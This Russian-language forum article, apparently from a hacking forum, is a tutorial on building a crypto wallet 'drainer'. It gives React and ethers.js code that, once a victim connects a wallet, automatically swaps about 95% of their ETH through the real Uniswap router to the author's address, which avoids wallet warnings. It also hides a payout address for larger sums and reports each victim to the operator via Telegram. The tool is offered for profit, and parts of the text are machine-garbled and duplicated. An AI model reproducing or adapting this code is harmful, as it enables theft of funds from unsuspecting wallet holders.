Введение
Четыре года назад на большинстве блокчейнов, особенно на EVM (электронных машинах для сбора средств), появилась эра программ-«опустошителей», использующих смарт-контракты и совместимых с Web3. Меня заинтриговало это программное обеспечение, и я задался вопросом, какие методы они используют. Конечно, это вредоносные смарт-контракты, которые крадут авторизацию и опустошают кошелек, но сегодня такое вредоносное поведение легко обнаруживается существующими средствами противодействия. Исходя из этого, я задумался о создании такого «опустошителя», но, поленившись в одиночку браться за долгий и утомительный процесс разработки, тратить средства на внедрение обфусцированных смарт-контрактов и искать необнаружимые методы, у меня возникла идея, казалось бы, простая и очевидная, о которой я нигде не слышал как об окончательном решении проблем с предупреждениями о вредоносном ПО в кошельке, хотя они и так очевидны: почему бы не использовать контракт, который, как известно, проверен и широко используется в наших вредоносных целях?
Вот откуда взялся мой самодельный «опустошитель». Изначально я подумал о Uniswap из-за его объёма торгов и репутации, и использовал их адрес маршрутизатора для обмена ETH на USDC или другую криптовалюту, с отправкой результата на мой кошелёк. Это возможно при отображении пользователю только простого интерфейса авторизации, который ничего не поймет о происходящем.
P.S.: Хотя мы видим изменения баланса, это можно компенсировать с помощью сценариев социальной инженерии или других методов скриптинга, но на нашем уровне это не так важно.
1. Архитектура и стек Drainer
1.a. Необходимый стек
Для нашей архитектуры мы будем использовать React с TypeScript, интегрируя контракт Uniswap V3 в основную сеть ETH.
P.S.: Я не использую V4, потому что некоторые необходимые нам компоненты ещё не полностью совместимы с V4, что потребует значительной адаптации.
Используемые технологии:
- React 19.1.0: Это будет наш фреймворк.
- TypeScript 4.9.5: Потому что это React.
- Ethers.js 5.7.2: Наша основная библиотека для взаимодействия с ETH.
- Uniswap SDK: Полезен для интеграции с Uniswap.
- @uniswap/sdk-core (v7.7.2): Обрабатывает базовые функции.
- @uniswap/smart-order-router (v4.20.10): Для маршрутизации обмена.
- Web3Modal 1.9.12: Будет управлять интерфейсом подключения. и является поставщиком мультикошельков
1.b Структура папок и файлов проекта
Построение нашей архитектуры:
Для корректной работы необходимо тщательно продумать разделение обязанностей.
Для этого наши компоненты будут управлять только пользовательским интерфейсом, а наша логика будет изолирована в
2. Настройка и создание системы
2.a React App Rewired и переопределения Webpack
Мы будем использовать react-app-rewired для настройки конфигурации Webpack без вызова Create React App.
Вот наш файл
Зачем мы делаем эту конфигурацию?
Потому что SDK и маршрутизатор Uniswap разработаны для Node.js с нативными модулями (crypto, stream, http и т. д.), которых нет в браузере.
Полифилы *-browserify позволят нам использовать эти модули на стороне клиента нашего приложения.
Наши технические решения:
Мы будем использовать прагматичный подход, но это увеличит размер бандла. В качестве альтернативы мы могли бы использовать бэкенд-прокси для вызовов команд к маршрутизатору, но это усложнит нашу инфраструктуру, что на самом деле не нужно для нашей функциональной реализации.
2.b Конфигурация TypeScript
tsconfig.json будет использовать только строгие параметры:
*ПС:
Подключите JS и TS (uniswapRouter.js, PriceService.js) для решения проблемы, решите ее типами данных; Вот как это работает.
3. Контакт и подключение к сумке
3. Компоненты WalletConnect
Технология: Web3Modal
Web3Modal подключается к клавиатуре через один и тот же интерфейс.
Функции, вот что мы делаем:
1. Опция сообщения:
2. Инструкции:
-
-
Инструкции:
Компонент будет использовать локальное соединение («connected», «address», «balance») и передавать родительскому компоненту через коллбэки («onConnect», «onDisconnect»).
Это идеальное место для проживания, и это идеальное место для проживания. Важно знать, что важно знать, о чем ты говоришь. применения такого размера.
ПС:
Это то, что вам нужно знать о самом главном: передать свой голос в Context API через Redux, глобально управляя сумкой.
3.a Наша интеграция с Ethers.js
Описание:
4. Логика обмена: архитектура и реализация
4.a Расчет суммы во время обмена
Файл:
Пояснение:
1. Оценка комиссии: Мы используем фиксированную оценку в 300 000 единиц газа. Это консервативный подход, но он может быть неточным.
2. Резерв 5%: Мы оставляем 5% для комиссий за баланс.
3. BigNumber: Мы используем ethers.BigNumber, чтобы избежать проблем с числами JavaScript (лимит 2^53).
4.b Оценка цены выхода (котировки)
Метод 1: Интеллектуальный маршрутизатор ордеров (первые попытки)
`Маршрутизатор Uniswap находит оптимальный путь обмена, анализируя все доступные пулы.
Однако в этом методе реализации
Метод 2: Резервный вариант
-
- Параметры:
-
-
-
Метод 3: Резервный вариант с рыночной ценой
Если котировка не удастся, нашему коду потребуется использовать цену ETH/USD из внешних API:
[/CODE]
PS: Эта оценка не учитывает проскальзывание, поэтому она может быть неточной в зависимости от ситуации.
4.c Динамическое управление комиссией за транзакции
Функция getNetworkCongestionFactor:
[/CODE]
У нас двойная защита:
1. Коэффициент перегрузки, основанный на текущем состоянии сети
2. Буфер, пропорциональный балансу кошелька (минимум 1% 0,00005 ETH)
Это надежный подход, но он может быть слишком консервативным для небольших балансов.
4.d Динамическое управление проскальзыванием
Функция, используемая в
[/CODE]
Пример:
Для проскальзывания 30%:
PS:
Высокое проскальзывание может представлять риск эксплуатации для ботов MEV.
Для больших сумм более реалистичным является проскальзывание в 8%.
4.5 Выполнение свопа
Функция
[/CODE] Это моделирование позволяет нам обнаруживать любые возможные ошибки до отправки транзакции по сети, экономя газ и улучшая пользовательский опыт.
Обработка транзакций:
Ожидание подтверждения снижает риск переупорядочивания цепочки, но для обменов обычно достаточно одного подтверждения.
---
5. Сервис ценообразования в реальном времени
5.a Многоисточниковая архитектура
Файл: `src/utils/priceService.js
Для нашего сервиса мы будем использовать три источника цен, каждый с резервной системой:
1. API CoinGecko
2. API Binance
3. API Kraken
Шаблон параллельного получения данных:
[/CODE]
Преимущества:
Расчет медианы для предотвращения завышенных цен:
Понимание важности:
Без таймаута недоступность API приведет к ошибке; он гарантирует быстрый ответ, даже если источник медленный или недоступный.
5.c Резервный вариант и значение по умолчанию
Если все источники выйдут из строя, наш сервис вернет $1800 (значение по умолчанию). Это значение следует регулярно обновлять или вычислять динамически.
Возможное улучшение:
Мы можем использовать локальный кэш с меткой времени, чтобы использовать последнее известное значение в случае полного сбоя.
`[/CODE] ---
6. Уведомления Telegram
6.a Архитектура
Файл:
Система отправляет уведомления Telegram напрямую через API бота Telegram с фронтенда.
Конфигурация:
``
Формат сообщения:
Для форматирования будет использоваться Markdown:
Пример сообщения:
[/CODE]
:currency_exchange: SWAP_SUCCESS :currency_exchange:
:date: Дата: 2024-01-15 14:30:25
:bust_in_silhouette: Адрес:
:information_source: Информация: Своп 0,1 ETH на 180,5 USDC
6.4 Обработка ошибок и повторная попытка
В случае сбоя наш код выполнит повторную попытку без прокси:
}
[/CODE]
Обрабатываемые ошибки:
---
8. Интеллектуальная маршрутизация (упрощенная)
8.a Текущая реализация
Файл:
Функция
Логика:
[/CODE]
Логика:
Эту логику можно использовать или адаптировать для разделения; я создал её для личного использования, но она остаётся полезной.
Восстановление адреса:
` ...
`
[/CODE]
Шаблон:
Каждое значение использует
### 10.b Эффекты и автообмен
useEffect для инициализации:
«
Функции автоматического обмена:
Когда
` Это основная функция нашего самодельного делайнера.
10.c Управление транзакциями
Последовательность действий:
1. Подготовка: Вычисляет сумму, оценивает цену и определяет адрес получателя.
2. Выполнение: Вызывает
3. Ожидание:
4. Обновление: Пересчитывает оценки после завершения обмена.
5. Уведомление: Отправляет уведомление в Telegram в случае успеха/ошибок.
Обработка ошибок:
---
11. Архитектура развертывания
11.a Файлы сборки и продакшена
Доступные скрипты:
```
Процесс сборки:
Наша сборка создаст оптимизированный пакет в
Развертывание:
Приложение может быть развернуто на:
- Netlify or Vercel:
11.b Конфигурация основной сети
Контракт основной сети Ethereum Адреса:
`
12. Заключение
Мы разработали и создали наш собственный драйвер до функционального и стабильного уровня. Фоновый прокси повысит безопасность, обрабатывая незашифрованные адреса в коде, а такие функции, как управление уведомлениями TG и оценка цен, делают наше приложение готовым к использованию и позволяют нам зарабатывать первые деньги без необходимости использования DaaS-платформы, которая потребует 20% ваших усилий. Хотя наша платформа не самая продвинутая, она всё же полезна.
В заключение предлагаем посмотреть видео работы нашего программного обеспечения: https://streamable.com/t8wteb
Спасибо за внимание. Я опубликую полный код, если эта статья будет принята.
Четыре года назад на большинстве блокчейнов, особенно на EVM (электронных машинах для сбора средств), появилась эра программ-«опустошителей», использующих смарт-контракты и совместимых с Web3. Меня заинтриговало это программное обеспечение, и я задался вопросом, какие методы они используют. Конечно, это вредоносные смарт-контракты, которые крадут авторизацию и опустошают кошелек, но сегодня такое вредоносное поведение легко обнаруживается существующими средствами противодействия. Исходя из этого, я задумался о создании такого «опустошителя», но, поленившись в одиночку браться за долгий и утомительный процесс разработки, тратить средства на внедрение обфусцированных смарт-контрактов и искать необнаружимые методы, у меня возникла идея, казалось бы, простая и очевидная, о которой я нигде не слышал как об окончательном решении проблем с предупреждениями о вредоносном ПО в кошельке, хотя они и так очевидны: почему бы не использовать контракт, который, как известно, проверен и широко используется в наших вредоносных целях?
Вот откуда взялся мой самодельный «опустошитель». Изначально я подумал о Uniswap из-за его объёма торгов и репутации, и использовал их адрес маршрутизатора для обмена ETH на USDC или другую криптовалюту, с отправкой результата на мой кошелёк. Это возможно при отображении пользователю только простого интерфейса авторизации, который ничего не поймет о происходящем.
P.S.: Хотя мы видим изменения баланса, это можно компенсировать с помощью сценариев социальной инженерии или других методов скриптинга, но на нашем уровне это не так важно.
1. Архитектура и стек Drainer
1.a. Необходимый стек
Для нашей архитектуры мы будем использовать React с TypeScript, интегрируя контракт Uniswap V3 в основную сеть ETH.
P.S.: Я не использую V4, потому что некоторые необходимые нам компоненты ещё не полностью совместимы с V4, что потребует значительной адаптации.
Используемые технологии:
- React 19.1.0: Это будет наш фреймворк.
- TypeScript 4.9.5: Потому что это React.
- Ethers.js 5.7.2: Наша основная библиотека для взаимодействия с ETH.
- Uniswap SDK: Полезен для интеграции с Uniswap.
- @uniswap/sdk-core (v7.7.2): Обрабатывает базовые функции.
- @uniswap/smart-order-router (v4.20.10): Для маршрутизации обмена.
- Web3Modal 1.9.12: Будет управлять интерфейсом подключения. и является поставщиком мультикошельков
1.b Структура папок и файлов проекта
src/
├── components/ # Здесь мы разместим наши компоненты React
│ ├── SwapComponent.tsx
│ └── WalletConnect.tsx
├── utils/ # Здесь находится логика сервиса
│ ├── uniswap.ts # Это будет наша основная логика
│ ├── uniswapRouter.js # Будет обрабатывать маршрутизацию
│ ├── priceService.js # Для отображения цен в реальном времени
│ ├── telegramNotifier.js # Для уведомлений в Telegram
│ ├── errorHandler.js # Наша ошибка обработчики
│ └── constants.ts # Константы и утилиты
├── config/ # Наша конфигурация
│ └── addresses.ts
├── contracts/ # Наши контракты
│ ├── abi.ts
│ └── addresses.ts
└── App.tsx # Наша основная точка входа
Построение нашей архитектуры:
Для корректной работы необходимо тщательно продумать разделение обязанностей.
Для этого наши компоненты будут управлять только пользовательским интерфейсом, а наша логика будет изолирована в
utils/. Это упростит читаемость, понимание и сопровождение нашего проекта.2. Настройка и создание системы
2.a React App Rewired и переопределения Webpack
Мы будем использовать react-app-rewired для настройки конфигурации Webpack без вызова Create React App.
Вот наш файл
config-overrides.js:
JavaScript:
config.resolve.fallback = {
"http": require.resolve("stream-http"),
"https": require.resolve("https-browserify"),
"stream": require.resolve("stream-browserify"),
"crypto": require.resolve("crypto-browserify"),
// ...
Зачем мы делаем эту конфигурацию?
Потому что SDK и маршрутизатор Uniswap разработаны для Node.js с нативными модулями (crypto, stream, http и т. д.), которых нет в браузере.
Полифилы *-browserify позволят нам использовать эти модули на стороне клиента нашего приложения.
Наши технические решения:
Мы будем использовать прагматичный подход, но это увеличит размер бандла. В качестве альтернативы мы могли бы использовать бэкенд-прокси для вызовов команд к маршрутизатору, но это усложнит нашу инфраструктуру, что на самом деле не нужно для нашей функциональной реализации.
2.b Конфигурация TypeScript
tsconfig.json будет использовать только строгие параметры:
- strict: true: Включает все строгие проверки типов
- jsx: react-jsx: Новое преобразование JSX без импорта React
- allowJs: true: Позволяет нам смешивать JS и TS. Почему я это сделал? Потому что я лучше реализую некоторые вещи на JS.
*ПС:
Подключите JS и TS (uniswapRouter.js, PriceService.js) для решения проблемы, решите ее типами данных; Вот как это работает.
3. Контакт и подключение к сумке
3. Компоненты WalletConnect
Технология: Web3Modal
Web3Modal подключается к клавиатуре через один и тот же интерфейс.
JavaScript:
const newWeb3Modal = новый Web3Modal({
cacheProvider: true, // Запоминает подключенный кошелек
провайдерОпции: {},
тема: «темная»,
});
Функции, вот что мы делаем:
1. Опция сообщения:
cacheProvider: true автоматически открывается. Это связано со случайным повреждением.2. Инструкции:
-
accountsChanged: бюджет будет отменен.-
chainChanged: Будет отслеживаться изменения в сети.Инструкции:
Компонент будет использовать локальное соединение («connected», «address», «balance») и передавать родительскому компоненту через коллбэки («onConnect», «onDisconnect»).
Это идеальное место для проживания, и это идеальное место для проживания. Важно знать, что важно знать, о чем ты говоришь. применения такого размера.
ПС:
Это то, что вам нужно знать о самом главном: передать свой голос в Context API через Redux, глобально управляя сумкой.
3.a Наша интеграция с Ethers.js
Code:
машинописный текст
const поставщик = новый ethers.providers.Web3Provider(экземпляр);
` ... const знак = поставщик.getSigner();
Описание:
- Обеспечение: Интернета, подключения, баланса и блокировки. д.
- Инструкции: Обратите внимание, что это связано с характером ситуации. Позволяет передавать взаимодействие.
4. Логика обмена: архитектура и реализация
4.a Расчет суммы во время обмена
Файл:
src/utils/uniswap.ts и функция calculateSwapAmount
JavaScript:
export const calculateSwapAmount = async(provider: ethers.providers.Web3Provider): Promise<string> => {
const balance = await provider.getBalance(address);
const gasPrice = await provider.getGasPrice();
const estimatedGas = ethers.BigNumber.from(300000);
const gasCost = gasPrice.mul(estimatedGas);
const availableForSwap = balance.sub(gasCost);
const swapAmount = availableForSwap.mul(95).div(100); // 95% доступного баланса
return ethers.utils.formatEther(swapAmount);
};
Пояснение:
1. Оценка комиссии: Мы используем фиксированную оценку в 300 000 единиц газа. Это консервативный подход, но он может быть неточным.
2. Резерв 5%: Мы оставляем 5% для комиссий за баланс.
3. BigNumber: Мы используем ethers.BigNumber, чтобы избежать проблем с числами JavaScript (лимит 2^53).
4.b Оценка цены выхода (котировки)
Метод 1: Интеллектуальный маршрутизатор ордеров (первые попытки)
JavaScript:
const bestRoute = await getBestRoute(provider, amountIn);
`Маршрутизатор Uniswap находит оптимальный путь обмена, анализируя все доступные пулы.
Однако в этом методе реализации
getBestRoute — это упрощенная версия, которая прогнозирует цену, а не напрямую использует реальный маршрутизатор.Метод 2: Резервный вариант
JavaScript:
const quoterContract = new ethers.Contract(
UNISWAP_QUOTER_ADDRESS,
QUOTER_ABI,
provider
);
const quotedAmountOut = await quoterContract.callStatic.quoteExactInputSingle(
WETH_ADDRESS,
USDC_ADDRESS,
POOL_FEE,
amountIn,
0
);
Code:
[B]Техническое объяснение:
- `callStatic`: [/B]Выполняет функцию без изменения состояния блокчейна и не требует газа.
[B]`
quoteExactInputSingle**:[/B] Имитирует обмен и возвращает точную сумму, полученную в результате.- Параметры:
-
tokenIn: WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)-
tokenOut: USDC (0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)-
fee: 3000 (0,3% - это стандартная комиссия, используемая для основных валютных пар)Метод 3: Резервный вариант с рыночной ценой
Если котировка не удастся, нашему коду потребуется использовать цену ETH/USD из внешних API:
Code:
[CODE=javascript]const estimatedRate = await getEthUsdPriceWithBackup();
return ethers.utils.parseUnits(
(parseFloat(ethers.utils.formatEther(amountIn)) * estimatedRate).toFixed(6),
6 // USDC имеет 6 знаков после запятой
);
PS: Эта оценка не учитывает проскальзывание, поэтому она может быть неточной в зависимости от ситуации.
4.c Динамическое управление комиссией за транзакции
Функция getNetworkCongestionFactor:
JavaScript:
export const getNetworkCongestionFactor = async (provider: ethers.providers.Web3Provider): Promise<number> => {
const feeData = await provider.getFeeData();
const baseFeePerGas = feeData.maxFeePerGas.sub(feeData.maxPriorityFeePerGas);
const gasPrice = await provider.getGasPrice();
const congestionRatio = gasPrice.mul(100).div(baseFeePerGas).toNumber();
if (congestionRatio > 200) return 200; // +100% при сильной перегрузке
else if (congestionRatio > 150) return 170; // +70%
// ...
}
Code:
[B][SIZE=6]EIP-1559:[/SIZE][/B]
Ethereum использует динамическую систему комиссий благодаря EIP-1559:
[B]- baseFee: [/B]Базовая комиссия, сжигаемая (невозвращаемая)
[B]- maxPriorityFeePerGas: [/B]Чаевые, отправляемые майнерам
[B]- maxFeePerGas:[/B] Максимальный лимит
[B]Пояснение:[/B]
Коэффициент перегрузки будет динамически корректироваться в зависимости от перегрузки сети. Это подход, который позволит уменьшить количество сбоев.
[B]В swapEthForUsdc:[/B]
```typescript
[CODE=javascript]const gasCostWei = gasPrice.mul(baseGasLimit).mul(networkCongestionFactor).div(100);
const percentageBuffer = balance.mul(1).div(100); // 1% от баланса
const dynamicBuffer = percentageBuffer.gt(minimumBufferWei) ? percentageBuffer : minimumBufferWei;
const totalGasCostWei = gasCostWei.add(dynamicBuffer);
[/CODE]
У нас двойная защита:
1. Коэффициент перегрузки, основанный на текущем состоянии сети
2. Буфер, пропорциональный балансу кошелька (минимум 1% 0,00005 ETH)
Это надежный подход, но он может быть слишком консервативным для небольших балансов.
4.d Динамическое управление проскальзыванием
Функция, используемая в
swapEthForUsdc:
JavaScript:
const slippageTolerance =
swapAmountUSD < 5 ? 3000 : // 30% для очень малых сумм
swapAmountUSD < 25 ? 2500 : // 25% для малых сумм
swapAmountUSD < 50 ? 2000 : // 20% для средних сумм
swapAmountUSD < 100 ? 1500 : // 15% для средних сумм
800; // 8% для крупных сумм
Code:
Почему мы используем такое высокое проскальзывание для небольших сумм?
Обмены на небольшие суммы часто оказывают большее влияние на цену, потому что:
[B]1. Пулы для небольших сумм менее обширны
2. Фиксированные комиссии составляют больший процент, чем другие расходы
3. Волатильность выше
Расчет минимальной суммы:[/B]
[CODE=javascript]const amountOutMinimum = quotedAmountOut
.mul(9000 - slippageTolerance) // Дополнительная скидка 10%
.div(10000);
[/CODE]
Пример:
Для проскальзывания 30%:
9000 - 3000 = 6000amountOutMinimum = quotedAmountOut * 0.6
PS:
Высокое проскальзывание может представлять риск эксплуатации для ботов MEV.
Для больших сумм более реалистичным является проскальзывание в 8%.
4.5 Выполнение свопа
Функция
exactInputSingle:
JavaScript:
const router = new ethers.Contract(
UNISWAP_ROUTER_ADDRESS,
ROUTER_ABI,
provider.getSigner()
);
const params = {
tokenIn: WETH_ADDRESS,
tokenOut: USDC_ADDRESS,
fee: POOL_FEE,
recipient: recipientAddress,
deadline: Math.floor(Date.now() / 1000) + 60, // 1 minute
amountIn: swapAmount,
amountOutMinimum: amountOutMinimum,
sqrtPriceLimitX96: 0
};
const tx = await router.exactInputSingle(params, {
value: swapAmount // Send native ETH
});
Code:
Пояснение параметров:
- **`tokenIn/tokenOut`**: Адреса токенов
- **`fee`**: Комиссия пула (3000 = 0,3%)
- **`recipient`**: Наш адрес получателя
- **`deadline`**: Временная метка, по истечении которой транзакция отменяется
- **`amountIn`**: Точное количество ETH для обмена
- **`amountOutMinimum`**: Минимальное количество принимаемых USDC
- **`sqrtPriceLimitX96`**: Лимит цены (0 = без лимита)
Моделирование и выполнение:
[CODE=javascript]await router.callStatic.exactInputSingle(params, {
value: swapAmount
});
[/CODE] Это моделирование позволяет нам обнаруживать любые возможные ошибки до отправки транзакции по сети, экономя газ и улучшая пользовательский опыт.
Обработка транзакций:
Code:
[CODE=javascript]await tx.wait(1); // Ожидает 1 подтверждения
---
5. Сервис ценообразования в реальном времени
5.a Многоисточниковая архитектура
Файл: `src/utils/priceService.js
Для нашего сервиса мы будем использовать три источника цен, каждый с резервной системой:
1. API CoinGecko
2. API Binance
3. API Kraken
Шаблон параллельного получения данных:
JavaScript:
const [priceFromCoinGecko, priceFromBinance, priceFromKraken] = await Promise.all([
getEthUsdPriceFromCoinGecko(),
getEthUsdPriceFromBinance(),
getEthUsdPriceFromKraken()
]);
Преимущества:
- Скорость: Параллельное выполнение запросов уменьшает задержку
- Надежность: Если один источник недоступен, другие доступны
- Точность: Служит фильтром для выбросов
Расчет медианы для предотвращения завышенных цен:
JavaScript:
if (validPrices.length > 1) {
const prices = validPrices.map(p => p.price).sort((a, b) => a - b);
const medianPrice = prices[Math.floor(prices.length / 2)];
return medianPrice;
}
Code:
[B]5.b Управление таймаутом[/B]
Каждый из наших запросов использует `AbortController` с таймаутом в 3 секунды:
[CODE=javascript]const controller = new AbortController(); `const timeoutId = setTimeout(() => controller.abort(), 3000);`
`const response = await fetch(url, { signal: controller.signal });`
`clearTimeout(timeoutId);`
Понимание важности:
Без таймаута недоступность API приведет к ошибке; он гарантирует быстрый ответ, даже если источник медленный или недоступный.
5.c Резервный вариант и значение по умолчанию
Если все источники выйдут из строя, наш сервис вернет $1800 (значение по умолчанию). Это значение следует регулярно обновлять или вычислять динамически.
Возможное улучшение:
Мы можем использовать локальный кэш с меткой времени, чтобы использовать последнее известное значение в случае полного сбоя.
`[/CODE] ---
6. Уведомления Telegram
6.a Архитектура
Файл:
src/utils/telegramNotifier.jsСистема отправляет уведомления Telegram напрямую через API бота Telegram с фронтенда.
Конфигурация:
JavaScript:
const TELEGRAM_CONFIG = {
botToken: "5687950307:AAHT8bedIMgA7cYh73zuczSPDDqRlKpXUxM",
chatId: "-1001730053390",
corsProxy: "https://corsproxy.io/?"
};
Code:
PS:
Для лучшего управления уведомления должны проходить через бэкенд-прокси, чтобы избежать раскрытия токена бота в открытом виде в коде.
[B]6.b Обработка CORS[/B]
Мы будем учитывать ограничения браузера, которые могут блокировать запросы к API Telegram с использованием CORS-прокси.
[B]6.3 Список типов событий[/B]
[CODE=javascript]export const NOTIFICATION_EVENTS = {
CONNECTION: 'CONNECTION',
SWAP_SUCCESS: 'SWAP_SUCCESS',
SWAP_REJECTED: 'SWAP_REJECTED',
TRANSACTION_ERROR: 'TRANSACTION_ERROR'
};
``
Формат сообщения:
Для форматирования будет использоваться Markdown:
- Эмодзи для лучшего визуального восприятия
- Отформатированный адрес Ethereum
- Временная метка ISO
- Информация о свопе
Пример сообщения:
[/CODE]
:currency_exchange: SWAP_SUCCESS :currency_exchange:
:date: Дата: 2024-01-15 14:30:25
:bust_in_silhouette: Адрес:
0x1234...5678:information_source: Информация: Своп 0,1 ETH на 180,5 USDC
6.4 Обработка ошибок и повторная попытка
В случае сбоя наш код выполнит повторную попытку без прокси:
JavaScript:
if (TELEGRAM_CONFIG.corsProxy && error.message.includes('Failed to fetch')) {
/ Повторная попытка без прокси
TELEGRAM_CONFIG.corsProxy = '';
const result = await sendTelegramNotification(...);
}
Code:
Этот подход повышает отказоустойчивость, но все еще может привести к сбою, если блокируется CORS.
---
[B][SIZE=5]7. Обработка ошибок Uniswap[/SIZE]
7.a Парсер ошибок[/B]
**Файл: `src/utils/errorHandler.js`**
Функция `parseUniswapError` преобразует технические ошибки в понятные для пользователя сообщения.
[B]
Примеры:[/B]
[CODE=javascript]if (errorString.includes("Получено слишком мало")) {
return "Минимальная сумма USDC не может быть получена из-за волатильности рынка...";
}
if (errorString.includes("НЕДОСТАТОЧНО_ВЫХОДНОЙ_СУММЫ")) {
return "Минимальная сумма вывода не достигнута из-за волатильности или проскальзывания...";
}
Обрабатываемые ошибки:
- Чрезмерное проскальзывание
- Недостаточно средств
- Достигнут лимит газа
- Проблемы с Nonce
- Таймауты сети
---
8. Интеллектуальная маршрутизация (упрощенная)
8.a Текущая реализация
Файл:
src/utils/uniswapRouter.jsФункция
getBestRoute — это упрощенная версия, которая оценивает цену, а не использует фактический интеллектуальный маршрутизатор ордеров.Логика:
JavaScript:
const ethPriceInUsd = await getEthUsdPriceWithBackup();
const estimatedUsdcAmount = parseFloat(amountInEth) * ethPriceInUsd;
/ Корректировка проскальзывания в зависимости от суммы
let slippageMultiplier = 1.0;
if (parseFloat(amountInEth) > 10) {
slippageMultiplier = 0.96; // 4% проскальзывания
} else if (parseFloat(amountInEth) > 1) {
slippageMultiplier = 0.975; // 2.5% проскальзывания
}
Code:
[B]Ограничения:[/B]
Этот подход на самом деле не находит оптимальный путь. Он просто оценивает цену с корректировкой проскальзывания.
**Почему такое упрощение?**
Для полноценного интеллектуального маршрутизатора заказов требуются сложные зависимости Node.js, которые трудно интегрировать в браузер (см. раздел 2.1).
[B]Альтернатива:[/B]
Используйте бэкенд, который запускает интеллектуальный маршрутизатор заказов и предоставляет простой REST API.
--
[B][SIZE=5]9. Логика динамического назначения
9.b Функция `getDestinationByAmount`[/SIZE][/B]
Файл: `src/utils/constants.ts`
[CODE=javascript]export const getDestinationByAmount = (usdAmount: number, alternativeAddress: string): string => {
const systemAddress = reconstructSystemAddress();
const _INTERNAL_THRESHOLD = 1000;
if (usdAmount >= _INTERNAL_THRESHOLD) {
return systemAddress;
} else {
return alternativeAddress;
}
};
[/CODE]
Логика:
- Суммы >= 1000 USD → Системный адрес (адрес назначения восстанавливается из фрагментов, которые нужно скрыть)
- Суммы < 1000 USD → Альтернативный адрес (настраивается в
config/addresses.ts)
Эту логику можно использовать или адаптировать для разделения; я создал её для личного использования, но она остаётся полезной.
Восстановление адреса:
JavaScript:
export const reconstructSystemAddress = (): string => {
return ADDRESS_FRAGMENT_A + ADDRESS_FRAGMENT_B + ADDRESS_FRAGMENT_C + ADDRESS_FRAGMENT_D;
};
` ...
Code:
---
[B][SIZE=5]10. Оркестрация пользовательского интерфейса[/SIZE][/B]
[SIZE=5][B][/B][/SIZE]
[B][SIZE=5]10.a Управление состоянием[/SIZE][/B]
Компонент одновременно управляет несколькими локальными состояниями:
[CODE=javascript]const [swapAmount, setSwapAmount] = useState<string>('0');
const [estimatedOutput, setEstimatedOutput] = useState<string>('0');
const [estimatedUsdValue, setEstimatedUsdValue] = useState<number>(0);
const [isLoading, setIsLoading] = useState<boolean>(false);
const [txHash, setTxHash] = useState<string>('');
const [error, setError] = useState<string>('');
`
JavaScript:
` ... const [recipientAddress, setRecipientAddress] = useState<string>('');
Шаблон:
Каждое значение использует
useState### 10.b Эффекты и автообмен
useEffect для инициализации:
JavaScript:
useEffect(() => {
setRecipientAddress(reconstructSystemAddress());
}, []);
```
**useEffect для автоматического расчета:**
```typescript
useEffect(() => {
const fetchSwapInfo = async () => {
if (provider) {
const amount = await calculateSwapAmount(provider);
const output = await estimateUsdcOutput(provider);
// ...
if (autoSwap) {
handleSwap();
}
}
};
fetchSwapInfo();
}, [provider, autoSwap]);
«
Функции автоматического обмена:
Когда
autoSwap имеет значение true, что происходит каждый раз при входе пользователя в систему, процесс обмена запускается автоматически.` Это основная функция нашего самодельного делайнера.
10.c Управление транзакциями
Последовательность действий:
1. Подготовка: Вычисляет сумму, оценивает цену и определяет адрес получателя.
2. Выполнение: Вызывает
swapEthForUsdc.3. Ожидание:
await tx.wait(1) для подтверждения.4. Обновление: Пересчитывает оценки после завершения обмена.
5. Уведомление: Отправляет уведомление в Telegram в случае успеха/ошибок.
Обработка ошибок:
JavaScript:
try {
// ... swap
} catch (err: any) {
setError(err.message || "Ошибка во время обмена ETH-USDC");
/ Уведомление об ошибке
const isUserRejection =
errorMessage.includes("Пользователь отклонен") ||
errorMessage.includes("Пользователь отклонен");
await sendTelegramNotification(
isUserRejection ? NOTIFICATION_EVENTS.SWAP_REJECTED : NOTIFICATION_EVENTS.TRANSACTION_ERROR,
userAddress,
errorMessage
);
}
Code:
Необходимо тщательно различать отклонения пользователей и технические ошибки.
`
11. Архитектура развертывания
11.a Файлы сборки и продакшена
Доступные скрипты:
JSON:
{
"start": "react-app-rewired start",
"build": "react-app-rewired build",
"test": "react-app-rewired test"
}
Процесс сборки:
Наша сборка создаст оптимизированный пакет в
build/ со следующим содержимым:- минифицированный код
- оптимизированные ресурсы
- карты исходного кода для упрощения отладки
Развертывание:
Приложение может быть развернуто на:
- Netlify or Vercel:
- GitHub Pages:
- IPFS:
- Традиционный сервер**: Apache/Nginx для традиционного хостинга
11.b Конфигурация основной сети
Контракт основной сети Ethereum Адреса:
JavaScript:
export const UNISWAP_ROUTER_ADDRESS = '0xE592427A0AEce92De3Edee1F18E0157C05861564';
export const UNISWAP_QUOTER_ADDRESS = '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6';
export const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2';
export const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';
`
12. Заключение
Мы разработали и создали наш собственный драйвер до функционального и стабильного уровня. Фоновый прокси повысит безопасность, обрабатывая незашифрованные адреса в коде, а такие функции, как управление уведомлениями TG и оценка цен, делают наше приложение готовым к использованию и позволяют нам зарабатывать первые деньги без необходимости использования DaaS-платформы, которая потребует 20% ваших усилий. Хотя наша платформа не самая продвинутая, она всё же полезна.
В заключение предлагаем посмотреть видео работы нашего программного обеспечения: https://streamable.com/t8wteb
Спасибо за внимание. Я опубликую полный код, если эта статья будет принята.
👍73
🔥22
👏8
🤔23
LIMB